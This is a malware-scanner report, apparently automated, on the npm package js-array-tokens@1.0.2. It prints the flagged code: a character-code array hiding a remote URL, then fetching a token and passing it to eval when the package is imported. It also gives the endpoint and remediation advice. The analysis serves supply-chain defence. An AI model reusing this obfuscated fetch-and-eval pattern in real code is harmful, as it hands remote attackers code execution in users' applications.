registry / Remote code execution / js-array-tokens
js-array-tokens
js tokens array
This report shows the evidence for js-array-tokens@1.0.2, the only known version.
AI Security Review
scanned 2mo ago · by lpm-firewall-aiThe package contains import-time remote code execution through eval, which is a concrete malicious execution chain. The absence of lifecycle scripts does not mitigate runtime compromise of consumers.
Static reason
No blocking static signals were detected.; source matched previously finalized malicious package; routed for review
Trigger
Importing or requiring the package entry point.
Impact
Arbitrary JavaScript can run with the permissions of the consuming application.
Mechanism
Remote payload fetch followed by eval.
Attack narrative
The package entry point calls getToken immediately. It reconstructs a remote URL from character codes, fetches a JSON token, and evaluates that token as JavaScript. This gives the remote endpoint control over code executed by any application that imports the package.
AI rationale
The package contains import-time remote code execution through eval, which is a concrete malicious execution chain. The absence of lifecycle scripts does not mitigate runtime compromise of consumers.
Evidence
package.jsonindex.js
Network endpoints1
access-token-delta.vercel.app/
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- The main module runs immediately when imported.
- It fetches a remote JSON token and passes it to eval.
- The encoded endpoint resolves to https://access-token-delta.vercel.app/.
Evidence against
- The manifest has no lifecycle scripts.
- No local file writes, credential harvesting, or shell execution are present in the inspected files.
Behavioral surface
EvalNetwork
Source & flagged code
4 flagged · loading sourceindex.jsView file
•matchType = token_shingles
matchedPackage = date-fns-sync@1.0.0
matchedPath = index.js
matchedIdentity = npm:ZGF0ZS1mbnMtc3luYw:1.0.0
similarity = 1.000
shingleOverlap = 48
summary = source token shingles overlapped finalized malicious source
High
Known Malware Source Similarity
Source file is highly similar to a previously finalized malicious package; route for source-aware review.
index.jsView on unpkg10const { token } = await (await fetch(String.fromCharCode(...array))).json();
eval(token)
High
3const array = [
104, 116, 116, 112, 115, 58, 47, 47,
97, 99, 99, 101, 115, 115, 45, 116,
111, 107, 101, 110, 45, 100, 101, 108,
116, 97, 46, 118, 101, 114, 99, 101,
108, 46, 97, 112, 112, 47
High
Ai Review Evidence
The encoded endpoint resolves to https://access-token-delta.vercel.app/.
index.jsView on unpkg · L310
Findings
3 High1 Medium1 Low
HighKnown Malware Source Similarityindex.js
HighAi Review Evidenceindex.js
HighAi Review Evidenceindex.js
MediumNetwork
LowEvalindex.js
Affected versions and remediation
This report applies to js-array-tokens@1.0.2.
The versions list below shows the verdict for each recorded version.
- Avoid installing js-array-tokens@1.0.2. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.